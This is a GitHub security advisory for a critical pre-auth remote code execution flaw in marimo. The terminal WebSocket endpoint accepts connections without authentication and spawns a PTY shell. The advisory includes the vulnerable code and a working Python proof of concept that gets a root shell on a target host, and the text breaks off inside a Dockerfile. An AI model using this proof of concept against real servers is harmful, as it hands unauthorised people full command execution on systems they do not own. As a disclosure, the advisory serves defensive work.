GitHub Security Advisory: GHSA-2679-6mx9-h9xc
Package: marimo (PIP)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-306: Missing Authentication for Critical Function
Vulnerable versions: < 0.23.0
Patched in: 0.23.0

Summary: Marimo: Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass

Details:
## Summary

Marimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint `/terminal/ws` lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands.

Unlike other WebSocket endpoints (e.g., `/ws`) that correctly call `validate_auth()` for authentication, the `/terminal/ws` endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification.

## Affected Versions

Marimo <= 0.20.4 

## Vulnerability Details

### Root Cause: Terminal WebSocket Missing Authentication

`marimo/_server/api/endpoints/terminal.py` lines 340-356:

```python
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    if app_state.mode != SessionMode.EDIT:
        await websocket.close(...)
        return
    if not supports_terminal():
        await websocket.close(...)
        return
    # No authentication check!
    await websocket.accept()  # Accepts connection directly
    # ...
    child_pid, fd = pty.fork()  # Creates PTY shell
```

Compare with the correctly implemented `/ws` endpoint (`ws_endpoint.py` lines 67-82):

```python
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    validator = WebSocketConnectionValidator(websocket, app_state)
    if not await validator.validate_auth():  # Correct auth check
        return
```

### Authentication Middleware Limitation

Marimo uses Starlette's `AuthenticationMiddleware`, which marks failed auth connections as `UnauthenticatedUser` but does NOT actively reject WebSocket connections. Actual auth enforcement relies on endpoint-level `@requires()` decorators or `validate_auth()` calls.

The `/terminal/ws` endpoint has neither a `@requires("edit")` decorator nor a `validate_auth()` call, so unauthenticated WebSocket connections are accepted even when the auth middleware is active.

### Attack Chain

1. WebSocket connect to `ws://TARGET:2718/terminal/ws` (no auth needed)
2. `websocket.accept()` accepts the connection directly
3. `pty.fork()` creates a PTY child process
4. Full interactive shell with arbitrary command execution
5. Commands run as root in default Docker deployments

A single WebSocket connection yields a complete interactive shell.

## Proof of Concept

```python
import websocket
import time

# Connect without any authentication
ws = websocket.WebSocket()
ws.connect('ws://TARGET:2718/terminal/ws')
time.sleep(2)

# Drain initial output
try:
    while True:
        ws.settimeout(1)
        ws.recv()
except:
    pass

# Execute arbitrary command
ws.settimeout(10)
ws.send('id\n')
time.sleep(2)
print(ws.recv())  # uid=0(root) gid=0(root) groups=0(root)
ws.close()
```

### Reproduction Environment

```dockerfile
FROM python:3.12-slim
RUN pip install --no-cache-dir marimo==0.20.4
RUN mkdir -p /app/notebooks
RUN ech